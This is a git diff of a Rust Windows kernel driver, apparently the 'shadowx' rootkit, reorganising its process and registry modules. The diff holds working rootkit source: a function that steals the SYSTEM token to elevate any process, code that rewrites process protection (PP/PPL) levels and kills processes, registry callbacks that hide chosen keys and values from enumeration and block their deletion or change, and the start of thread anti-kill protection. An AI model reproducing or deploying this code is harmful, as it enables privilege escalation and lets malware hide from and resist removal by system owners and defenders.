(Process ID) + /// to the token of the system process, effectively elevating the privileges of the target process + /// to those of the system (NT AUTHORITY\SYSTEM). + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the target process to elevate. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated. + /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. + pub unsafe fn elevate_process(pid: usize) -> Result { + // Get the offset for the token in the EPROCESS structure + let offset = get_token_offset(); + + // Retrieving EPROCESS from the target process + let target = Self::new(pid)?; + + // Retrieve the EPROCESS for the system process (PID 4) + let system = Self::new(Self::SYSTEM_PROCESS)?; + + // Access the Token field in the EPROCESS structure of both the target and system processes + let target_token_ptr = target.e_process.cast::().offset(offset) as *mut u64; + let system_token_ptr = system.e_process.cast::().offset(offset) as *mut u64; + + // Copy the system process token to the target process + target_token_ptr.write(system_token_ptr.read()); + + Ok(STATUS_SUCCESS) + } + + /// Modifies the protection signature (PP / PPL) of a process in the operating system. + /// + /// This method changes the protection signature of a process by adjusting the `SignatureLevel` and `Protection` fields + /// in the `EPROCESS` structure. A process can be protected from certain operations, such as termination or privilege escalation, + /// depending on the signature level and protection type that are set. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the target process whose protection signature will be modified. + /// * `sg` - The signature level (signer) to be set for the process. + /// * `pt` - The protection type to be applied to the process. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated. + /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. + pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result { + // Get the offset for the protection signature within the EPROCESS structure + let offset = get_signature_offset(); + + // Retrieve the EPROCESS structure for the target process + let process = Self::new(pid)?; + + // Create the new protection signature value by combining the signature level and protection type + let new_sign = (sg << 4) | tp; + let process_signature = process.e_process.cast::().offset(offset) as *mut PROCESS_SIGNATURE; + + // Modify the signature level and protection type of the target process + (*process_signature).SignatureLevel = new_sign as u8; + (*process_signature).Protection.SetType(tp as u8); + (*process_signature).Protection.SetSigner(sg as u8); + + Ok(STATUS_SUCCESS) + } + + /// Terminates a process in the operating system using its process identifier (PID). + /// + /// This method terminates a process by first opening a handle to the target process, + /// and then calling `ZwTerminateProcess` to end the process. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the process to be terminated. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated. + /// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails. + pub unsafe fn terminate_process(pid: usize) -> Result { + let mut h_process: HANDLE = core::ptr::null_mut(); + let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed(); + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: core::ptr::null_mut(), + }; + + // Open a handle to the target process with all access rights + let mut status = ZwOpenProcess( + &mut h_process, + PROCESS_ALL_ACCESS, + &mut object_attributes, + &mut client_id, + ); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); + } + + // Terminate the process with an exit code of 0 + status = ZwTerminateProcess(h_process, 0); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwTerminateProcess", status)); + } + + // Close the handle to the process + status = ZwClose(h_process); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwClose", status)); + } + + Ok(STATUS_SUCCESS) + } +} + + diff --git a/driver/src/registry/callback.rs b/crates/shadowx/src/registry/callback.rs similarity index 74% rename from driver/src/registry/callback.rs rename to crates/shadowx/src/registry/callback.rs index b9c83a1..0080ac9 100644 --- a/driver/src/registry/callback.rs +++ b/crates/shadowx/src/registry/callback.rs @@ -1,44 +1,58 @@ #![allow(non_upper_case_globals)] use { - super::{ - utils::{check_key_value, enumerate_value_key, RegistryInfo}, - HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES - }, - crate::{ - registry::{utils::{check_key, enumerate_key}, Registry}, - utils::{pool::PoolMemory, valid_kernel_memory} - }, + log::error, alloc::{format, string::String}, - core::{ffi::c_void, ptr::null_mut}, + core::{ffi::c_void, ptr::null_mut}, wdk_sys::{ + *, ntddk::{ + ObOpenObjectByPointer, ZwClose, CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx, - ObOpenObjectByPointer, ZwClose }, _MODE::KernelMode, _REG_NOTIFY_CLASS::{ - RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey, - RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey - }, * + RegNtPreQueryKey, RegNtPreSetValueKey, + RegNtPreDeleteKey, RegNtPreDeleteValueKey, + RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, + }, }, }; -/// Handle for Registry Callback +use { + super::{ + HIDE_KEYS, + HIDE_KEY_VALUES, + PROTECTION_KEYS, + PROTECTION_KEY_VALUES, + utils::{ + check_key_value, enumerate_value_key, + RegistryInfo + }, + }, + crate::{ + utils::{pool::PoolMemory, valid_kernel_memory}, + registry::{ + Registry, + utils::{check_key, enumerate_key}, + }, + }, +}; + +/// Handle for Registry Callback. pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() }; /// The registry callback function handles registry-related operations based on the notification class. /// /// # Arguments /// -/// - `_callback_context`: A pointer to the callback context, usually not used. -/// - `argument1`: A pointer to the notification class. -/// - `argument2`: A pointer to the information related to the registry operation. +/// * `_callback_context` - A pointer to the callback context, usually not used. +/// * `argument1` - A pointer to the notification class. +/// * `argument2` - A pointer to the information related to the registry operation. /// /// # Returns /// -/// - `NTSTATUS`: A status code indicating the result of the operation. -/// +/// * A status code indicating the result of the operation. pub unsafe extern "C" fn registry_callback( _callback_context: *mut c_void, argument1: *mut c_void, @@ -76,12 +90,11 @@ pub unsafe extern "C" fn registry_callback( /// /// # Arguments /// -/// - `info`: A pointer to `REG_DELETE_KEY_INFORMATION`. +/// * `info` - A pointer to `REG_DELETE_KEY_INFORMATION`. /// /// # Returns /// -/// - `NTSTATUS`: A status code indicating success or failure. -/// +/// * A status code indicating success or failure. unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { let status; if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { @@ -93,7 +106,7 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { Err(err) => return err }; - status = if Registry::check_key(key, TARGET_KEYS.lock()) { + status = if Registry::check_key(key, PROTECTION_KEYS.lock()) { STATUS_ACCESS_DENIED } else { STATUS_SUCCESS @@ -106,12 +119,11 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { /// /// # Arguments /// -/// - `info`: Pointer to the information structure of the post-execution logging operation. +/// * `info` - Pointer to the information structure of the post-execution logging operation. /// /// # Returns /// -/// - `NTSTATUS`: Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`. -/// +/// * Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`. unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { if !NT_SUCCESS((*info).Status) { return (*info).Status @@ -143,14 +155,14 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> ); if !NT_SUCCESS(status) { - log::error!("ObOpenObjectByPointer Failed With Status: {status}"); + error!("ObOpenObjectByPointer Failed With Status: {status}"); return STATUS_SUCCESS; } let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) { Some(mem) => mem.ptr as *mut u8, None => { - log::error!("PoolMemory (Enumerate Key) Failed"); + error!("PoolMemory (Enumerate Key) Failed"); ZwClose(key_handle); return STATUS_SUCCESS; } @@ -159,14 +171,21 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> let mut result_length = 0; let mut counter = 0; - while let Some(value_name) = enumerate_value_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyValueInformationClass, &mut result_length) { + while let Some(value_name) = enumerate_value_key( + key_handle, + pre_info.Index + counter, + buffer, + (*pre_info).Length, + (*pre_info).KeyValueInformationClass, + &mut result_length + ) { if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) { if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() { *(*pre_info).ResultLength = result_length; core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize); break; } else { - log::error!("Failed to copy key information."); + error!("Failed to copy key information."); break; } } else { @@ -182,12 +201,11 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> /// /// # Arguments /// -/// - `info`: Pointer to the information structure of the post-execution logging operation. +/// * `info` - Pointer to the information structure of the post-execution logging operation. /// /// # Returns /// -/// - `NTSTATUS`: Returns the status of the operation, keeping the original status if the previous operation failed. -/// +/// * Returns the status of the operation, keeping the original status if the previous operation failed. unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { if !NT_SUCCESS((*info).Status) { return (*info).Status @@ -219,14 +237,14 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA ); if !NT_SUCCESS(status) { - log::error!("ObOpenObjectByPointer Failed With Status: {status}"); + error!("ObOpenObjectByPointer Failed With Status: {status}"); return STATUS_SUCCESS; } let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) { Some(mem) => mem.ptr as *mut u8, None => { - log::error!("PoolMemory (Enumerate Key) Failed"); + error!("PoolMemory (Enumerate Key) Failed"); ZwClose(key_handle); return STATUS_SUCCESS; } @@ -235,15 +253,21 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA let mut result_length = 0; let mut counter = 0; - while let Some(key_name) = enumerate_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyInformationClass, &mut result_length) { - let key_format = format!("{key}\\{key_name}"); - if !Registry::check_key(key_format, HIDE_KEYS.lock()) { + while let Some(key_name) = enumerate_key( + key_handle, + pre_info.Index + counter, + buffer, + (*pre_info).Length, + (*pre_info).KeyInformationClass, + &mut result_length + ) { + if !Registry::check_key(format!("{key}\\{key_name}"), HIDE_KEYS.lock()) { if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() { *(*pre_info).ResultLength = result_length; core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize); break; } else { - log::error!("Failed to copy key information."); + error!("Failed to copy key information."); break; } @@ -260,12 +284,11 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA /// /// # Arguments /// -/// - `info`: A pointer to `REG_QUERY_KEY_INFORMATION`. +/// * `info` - A pointer to `REG_QUERY_KEY_INFORMATION`. /// /// # Returns /// -/// - `NTSTATUS`: A status code indicating success or failure. -/// +/// * A status code indicating success or failure. unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS { let status; if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { @@ -290,12 +313,11 @@ unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS { /// /// # Arguments /// -/// - `info`: A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`. +/// * `info` - A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`. /// /// # Returns /// -/// - `NTSTATUS`: A status code indicating success or failure. -/// +/// * A status code indicating success or failure. unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS { if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { return STATUS_SUCCESS; @@ -313,7 +335,7 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize); let name = String::from_utf16_lossy(buffer); - if Registry::<(String, String)>::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) { + if Registry::<(String, String)>::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) { STATUS_ACCESS_DENIED } else { STATUS_SUCCESS @@ -324,12 +346,11 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N /// /// # Arguments /// -/// - `info`: A pointer to `REG_SET_VALUE_KEY_INFORMATION`. +/// * `info` - A pointer to `REG_SET_VALUE_KEY_INFORMATION`. /// /// # Returns /// -/// - `NTSTATUS`: A status code indicating success or failure. -/// +/// * A status code indicating success or failure. unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS { if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { return STATUS_SUCCESS; @@ -347,7 +368,7 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize); let name = String::from_utf16_lossy(buffer); - if Registry::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) { + if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) { STATUS_ACCESS_DENIED } else { STATUS_SUCCESS @@ -358,12 +379,12 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU /// /// # Arguments /// -/// - `info`: A pointer to the registry information. +/// * `info` - A pointer to the registry information. /// /// # Returns /// -/// - `Result`: The key name or an error status. -/// +/// * `Ok(String)` - The key name. +/// * `Err(NTSTATUS)` - error status. unsafe fn read_key(info: *mut T) -> Result { let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut(); let status = CmCallbackGetKeyObjectIDEx( diff --git a/crates/shadowx/src/registry/mod.rs b/crates/shadowx/src/registry/mod.rs new file mode 100644 index 0000000..bcdd323 --- /dev/null +++ b/crates/shadowx/src/registry/mod.rs @@ -0,0 +1,257 @@ +use { + utils::Type, + core::marker::PhantomData, + spin::{lazy::Lazy, Mutex, MutexGuard}, + alloc::{string::{String, ToString}, vec::Vec}, + common::{structs::TargetRegistry, vars::MAX_REGISTRY}, + wdk_sys::{ + NTSTATUS, STATUS_DUPLICATE_OBJECTID, + STATUS_SUCCESS, STATUS_UNSUCCESSFUL + } +}; + +pub mod callback; +pub mod utils; + +/// List of protection key-value pairs. +/// +/// This list stores key-value pairs that are protected. +/// It is guarded by a mutex to ensure thread-safe access. +pub static PROTECTION_KEY_VALUES: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_REGISTRY)) +); + +/// List of protection keys. +/// +/// This list stores keys that are protected. It is guarded by a mutex to ensure thread-safe access. +static PROTECTION_KEYS: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_REGISTRY)) +); + +/// List of hidden keys. +/// +/// This list stores keys that have been hidden. It is protected by a mutex for thread-safe operations. +static HIDE_KEYS: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_REGISTRY)) +); + +/// List of hidden key-value pairs. +/// +/// This list stores key-value pairs that have been hidden. It is protected by a mutex for thread-safe operations. +static HIDE_KEY_VALUES: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_REGISTRY)) +); + +/// Trait defining common operations for registry lists. +/// +/// This trait provides methods for adding, removing, and checking items in registry lists. +trait RegistryList { + /// Adds an item to the registry list. + /// + /// # Arguments + /// + /// * `list` - A mutable reference to the list. + /// * `item` - The item to be added. + /// + /// # Returns + /// + /// * Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`), + /// or failure (`STATUS_UNSUCCESSFUL`). + fn add_item(list: &mut Vec, item: T) -> NTSTATUS; + + /// Removes an item from the registry list. + /// + /// # Arguments + /// + /// * `list` - A mutable reference to the list. + /// * `item` - The item to be removed. + /// + /// # Returns + /// + /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). + fn remove_item(list: &mut Vec, item: &T) -> NTSTATUS; + + /// Checks if an item is in the registry list. + /// + /// # Arguments + /// + /// * `list` - A reference to the list. + /// * `item` - The item to be checked. + /// + /// # Returns + /// + /// * Returns `true` if the item is in the list, `false` otherwise. + fn contains_item(list: &Vec, item: &T) -> bool; +} + +/// Implementation of `RegistryList` for key-value pairs. +impl RegistryList<(String, String)> for Vec<(String, String)> { + fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS { + if list.len() >= MAX_REGISTRY { + return STATUS_UNSUCCESSFUL; + } + + if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) { + return STATUS_DUPLICATE_OBJECTID; + } + + list.push(item); + STATUS_SUCCESS + } + + fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS { + if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) { + list.remove(index); + STATUS_SUCCESS + } else { + STATUS_UNSUCCESSFUL + } + } + + fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool { + list.contains(item) + } +} + +/// Implementation of `RegistryList` for strings. +impl RegistryList for Vec { + fn add_item(list: &mut Vec, item: String) -> NTSTATUS { + if list.len() >= MAX_REGISTRY { + return STATUS_UNSUCCESSFUL; + } + + if list.contains(&item) { + return STATUS_DUPLICATE_OBJECTID; + } + + list.push(item); + STATUS_SUCCESS + } + + fn remove_item(list: &mut Vec, item: &String) -> NTSTATUS { + if let Some(index) = list.iter().position(|k| k == item) { + list.remove(index); + STATUS_SUCCESS + } else { + STATUS_UNSUCCESSFUL + } + } + + fn contains_item(list: &Vec, item: &String) -> bool { + list.contains(item) + } +} + +/// Structure representing registry operations. +/// +/// The `Registry` structure handles operations for adding, removing, and checking keys or key-value pairs +/// in the registry. +pub struct Registry { + _marker: PhantomData, +} + +impl Registry<(String, String)> { + /// Adds or removes a key-value pair from the list of protected or hidden values. + /// + /// # Arguments + /// + /// * `target` - A pointer to a `TargetRegistry` structure representing the key-value pair. + /// * `type_` - An enum indicating whether to protect or hide the key-value pair. + /// + /// # Returns + /// + /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). + pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS { + let key = unsafe { (*target).key.clone() }; + let value = unsafe { (*target).value.clone() }; + let enable = unsafe { (*target).enable }; + + let status = match type_ { + Type::Protect => { + let mut list = PROTECTION_KEY_VALUES.lock(); + if enable { + Vec::<(String, String)>::add_item(&mut list, (key, value)) + } else { + Vec::<(String, String)>::remove_item(&mut list, &(key, value)) + } + } + Type::Hide => { + let mut list = HIDE_KEY_VALUES.lock(); + if enable { + Vec::<(String, String)>::add_item(&mut list, (key, value)) + } else { + Vec::<(String, String)>::remove_item(&mut list, &(key, value)) + } + } + }; + + status + } + + /// Checks if a key-value pair exists in the list of protected values. + /// + /// # Arguments + /// + /// * `key` - The key to check. + /// * `value` - The value to check. + /// * `list` - A guard that provides access to the list. + /// + /// # Returns + /// + /// * Returns `true` if the key-value pair exists in the list, or `false` otherwise. + pub fn check_target(key: String, value: String, list: MutexGuard>) -> bool { + Vec::<(String, String)>::contains_item(&list, &(key, value)) + } +} + +impl Registry { + /// Adds or removes a key from the list of protected or hidden keys. + /// + /// # Arguments + /// + /// * `target` - A pointer to a `TargetRegistry` structure representing the key. + /// * `list_type` - An enum indicating whether to protect or hide the key. + /// + /// # Returns + /// + /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). + pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS { + let key = unsafe { &(*target).key }.to_string(); + let enable = unsafe { (*target).enable }; + + let status = match list_type { + Type::Protect => { + let mut list = PROTECTION_KEYS.lock(); + if enable { + Vec::add_item(&mut list, key) + } else { + Vec::remove_item(&mut list, &key) + } + } + Type::Hide => { + let mut list = HIDE_KEYS.lock(); + if enable { + Vec::add_item(&mut list, key) + } else { + Vec::remove_item(&mut list, &key) + } + } + }; + + status + } + + /// Checks if a key exists in the list of protected keys. + /// + /// # Arguments + /// + /// * `key` - The key to check. + /// * `list` - A guard that provides access to the list. + /// + /// # Returns + /// + /// * Returns `true` if the key exists in the list, or `false` otherwise. + pub fn check_key(key: String, list: MutexGuard>) -> bool { + Vec::contains_item(&list, &key) + } +} diff --git a/crates/shadowx/src/registry/utils.rs b/crates/shadowx/src/registry/utils.rs new file mode 100644 index 0000000..7a1dfc7 --- /dev/null +++ b/crates/shadowx/src/registry/utils.rs @@ -0,0 +1,300 @@ +#![allow(non_upper_case_globals)] + +use { + log::error, + alloc::{format, string::String}, + core::{ + slice::from_raw_parts, + ffi::c_void, mem::size_of, + }, + wdk_sys::{ + *, + ntddk::{ZwEnumerateKey, ZwEnumerateValueKey}, + _KEY_INFORMATION_CLASS::{ + KeyBasicInformation, + KeyNameInformation + }, + _KEY_VALUE_INFORMATION_CLASS::{ + KeyValueFullInformationAlign64, + KeyValueBasicInformation, + KeyValueFullInformation, + }, + }, +}; + +use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES}; + +/// Checks if a specified registry key is present in the list of hidden keys. +/// +/// This function checks if the provided registry key exists among the list of hidden keys, using +/// the information from the registry operation. +/// +/// # Arguments +/// +/// * `info` - Pointer to the operation information structure containing registry details. +/// * `key` - The name of the registry key to be checked. +/// +/// # Returns +/// +/// * Returns `true` if the key is found in the hidden keys list, otherwise returns `false`. +pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { + // Extracting pre-information from the registry operation + let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION; + + match (*info_class).KeyInformationClass { + // Check for basic key information + KeyBasicInformation => { + let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION; + let name = from_raw_parts((*basic_information).Name.as_ptr(), + ((*basic_information).NameLength / size_of::() as u32) as usize); + + // Construct the full key path + let key = format!("{key}\\{}", String::from_utf16_lossy(name)); + if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { + return true; + } + }, + // Check for key name information + KeyNameInformation => { + let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION; + let name = from_raw_parts((*basic_information).Name.as_ptr(), + ((*basic_information).NameLength / size_of::() as u32) as usize); + + // Construct the full key path + let key = format!("{key}\\{}", String::from_utf16_lossy(name)); + if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { + return true; + } + }, + _ => {} + } + + false +} + +/// Checks if a specified registry key-value pair is present in the list of hidden key-values. +/// +/// This function checks if the provided registry key-value pair exists among the list of hidden key-values, +/// using information from the registry value operation. +/// +/// # Arguments +/// +/// * `info` - Pointer to the operation information structure containing registry value details. +/// * `key` - The name of the registry key associated with the value to be checked. +/// +/// # Returns +/// +/// * Returns `true` if the key-value pair is found in the hidden key-values list, otherwise returns `false`. +pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { + // Extracting pre-information from the registry operation + let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION; + + match (*info_class).KeyValueInformationClass { + // Check for basic key value information + KeyValueBasicInformation => { + let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION; + let name = from_raw_parts((*value).Name.as_ptr(), + ((*value).NameLength / size_of::() as u32) as usize); + let value = String::from_utf16_lossy(name); + + if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { + return true; + } + }, + // Check for full key value information + KeyValueFullInformationAlign64 | KeyValueFullInformation => { + let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; + let name = from_raw_parts((*value).Name.as_ptr(), + ((*value).NameLength / size_of::() as u32) as usize); + let value = String::from_utf16_lossy(name); + + if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { + return true; + } + }, + _ => {} + } + + false +} + +/// Enumerates the specified registry key and retrieves its name. +/// +/// This function enumerates the registry key based on the provided index and information class, +/// returning the key name in the desired format. +/// +/// # Arguments +/// +/// * `key_handle` - Handle of the target registry key. +/// * `index` - The index to be enumerated. +/// * `buffer` - Buffer that will store the registry key information. +/// * `buffer_size` - Size of the buffer. +/// * `key_information` - Type of information to retrieve about the target registry key. +/// * `result_length` - Pointer to store the size of the result. +/// +/// # Returns +/// +/// * Returns `Some(String)` containing the name of the registry key if successful, +/// otherwise returns `None`. +pub unsafe fn enumerate_key( + key_handle: HANDLE, + index: u32, + buffer: *mut u8, + buffer_size: u32, + key_information: KEY_INFORMATION_CLASS, + result_length: &mut u32 +) -> Option { + // Enumerate the registry key using ZwEnumerateKey + let status = ZwEnumerateKey( + key_handle, + index, + key_information, + buffer as *mut c_void, + buffer_size, + result_length, + ); + + // Check if there are no more entries + if status == STATUS_NO_MORE_ENTRIES { + return None; + } + + // Check if the operation was successful + if !NT_SUCCESS(status) { + error!("ZwEnumerateKey Failed With Status: {status}"); + return None; + } + + // Process the key information based on the specified class + match key_information { + KeyBasicInformation => { + let basic_information = &*(buffer as *const KEY_BASIC_INFORMATION); + let name = from_raw_parts( + (*basic_information).Name.as_ptr(), + ((*basic_information).NameLength / size_of::() as u32) as usize, + ); + + Some(String::from_utf16_lossy(name)) + }, + KeyNameInformation => { + let basic_information = &*(buffer as *const KEY_NAME_INFORMATION); + let name = from_raw_parts( + (*basic_information).Name.as_ptr(), + ((*basic_information).NameLength / size_of::() as u32) as usize, + ); + Some(String::from_utf16_lossy(name)) + }, + _ => None, + } +} + +/// Enumerates the values of the specified registry key. +/// +/// This function enumerates the values of the registry key based on the provided index and information class, +/// returning the value name in the desired format. +/// +/// # Arguments +/// +/// * `key_handle` - Handle of the target registry key. +/// * `index` - The index to be enumerated. +/// * `buffer` - Buffer that will store the registry key values. +/// * `buffer_size` - Size of the buffer. +/// * `key_value_information` - Type of information to retrieve about the registry key value. +/// * `result_length` - Pointer to store the size of the result. +/// +/// # Returns +/// +/// * Returns `Some(String)` containing the name of the registry key value if successful, +/// otherwise returns `None`. +pub unsafe fn enumerate_value_key( + key_handle: HANDLE, + index: u32, + buffer: *mut u8, + buffer_size: u32, + key_value_information: KEY_VALUE_INFORMATION_CLASS, + result_length: &mut u32 +) -> Option { + // Enumerate the registry value using ZwEnumerateValueKey + let status = ZwEnumerateValueKey( + key_handle, + index, + key_value_information, + buffer as *mut c_void, + buffer_size, + result_length, + ); + + // Check if there are no more entries + if status == STATUS_NO_MORE_ENTRIES { + return None; + } + + // Check if the operation was successful + if !NT_SUCCESS(status) { + error!("ZwEnumerateValueKey Failed With Status: {status}"); + return None; + } + + // Process the key value information based on the specified class + match key_value_information { + KeyValueBasicInformation | KeyValueFullInformationAlign64 | KeyValueFullInformation => { + let value_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION); + let value_name_utf16: &[u16] = from_raw_parts( + value_info.Name.as_ptr(), + (value_info.NameLength / size_of::() as u32) as usize, + ); + Some(String::from_utf16_lossy(value_name_utf16)) + }, + _ => None, + } +} + +/// Trait for accessing the object in registry information. +/// +/// This trait defines a method to retrieve a pointer to the registry object from different registry information structures. +pub trait RegistryInfo { + /// Retrieves a pointer to the registry object. + /// + /// # Returns + /// + /// * A raw pointer to the registry object. + fn get_object(&self) -> *mut c_void; +} + +impl RegistryInfo for REG_DELETE_KEY_INFORMATION { + fn get_object(&self) -> *mut c_void { + self.Object + } +} + +impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION { + fn get_object(&self) -> *mut c_void { + self.Object + } +} + +impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION { + fn get_object(&self) -> *mut c_void { + self.Object + } +} + +impl RegistryInfo for REG_QUERY_KEY_INFORMATION { + fn get_object(&self) -> *mut c_void { + self.Object + } +} + +impl RegistryInfo for REG_POST_OPERATION_INFORMATION { + fn get_object(&self) -> *mut c_void { + self.Object + } +} + +/// Enum representing the types of operations to be done with the Registry. +pub enum Type { + /// Hides the specified key or key-value. + Hide, + /// Protects the specified key or key-value from being modified. + Protect, +} diff --git a/crates/shadowx/src/thread/callback.rs b/crates/shadowx/src/thread/callback.rs new file mode 100644 index 0000000..9fe50e0 --- /dev/null +++ b/crates/shadowx/src/thread/callback.rs @@ -0,0 +1,124 @@ +use { + alloc::vec::Vec, + spin::{lazy::Lazy, Mutex}, + common::{structs::TargetThread, vars::MAX_TID}, + wdk_sys::{ + ntddk::PsGetThreadId, STATUS_QUOTA_EXCEEDED, + PETHREAD, STATUS_DUPLICATE_OBJECTID, + NTSTATUS, OB_PRE_OPERATION_INFORMATION, + _OB_PREOP_CALLBACK_STATUS::{Type, OB_PREOP_SUCCESS}, + STATUS_SUCCESS, STATUS_UNSUCCESSFUL, THREAD_GET_CONTEXT, + THREAD_SET_CONTEXT, THREAD_SUSPEND_RESUME, THREAD_TERMINATE, + } +}; + +pub struct ThreadCallback; + +/// Handle for the thread callback registration. +pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: *mut core::ffi::c_void = core::ptr::null_mut(); + +/// List of the target TIDs +static TARGET_TIDS: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_TID)) +); + +impl ThreadCallback { + /// Method for adding the list of threads that will have anti-kill / dumping protection. + /// 